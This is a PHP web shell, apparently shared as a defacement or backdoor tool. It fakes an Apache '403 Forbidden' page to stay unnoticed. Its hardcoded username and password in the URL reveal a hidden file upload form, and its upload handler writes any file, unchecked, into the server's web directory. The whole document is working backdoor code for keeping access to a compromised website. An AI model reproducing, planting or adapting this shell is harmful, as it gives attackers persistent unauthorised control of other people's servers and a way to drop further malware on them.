HIDDEN UPLOADER 403 FORBIDDEN

<?php
// Hidden Uploader
// Anti Tikung
// LOL
echo"  <title> Forbidden</title>
</head><body>
<h1>Forbidden</h1>

<p>You don't have permission to access ".$_SERVER['REQUEST_URI']."  on this server.<br>
Server unable to read  file, denying access to be safe
<br><br>
Additionally, a 403 Forbidden error was encountered while trying to use an ErrorDocument to handle the request.</p>";

if(isset($_POST['ntap']))
{
$pile = $_FILES['filecuk']['name'];
$piles= $_FILES['filecuk']['tmp_name'];
$folder="";
if(move_uploaded_file($piles,$folder.$pile))
{
$hasil = "Sukses !<a href='$pile' target='_blank'>Klik sini </A>";
}
else
{
$hasil = "Failed!";
}
}
$usercuk ="ipkcyber";//user
$passcuk ="npazone";//password
// exploit : ?user=user&pass=pasa
if($_GET['user']==$usercuk &&$_GET['pass']==$passcuk){
echo'
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Hidden Uploader</title>
</head>
<body>
<center>
<h1>Hidden Uploader</h1>
<form action="" method="post" enctype="multipart/form-data">
<input type="file" name="filecuk" />
<input type="submit" name="ntap" value="Go !">
</form>
'.$hasil.'
</body>
</html>';
}
?>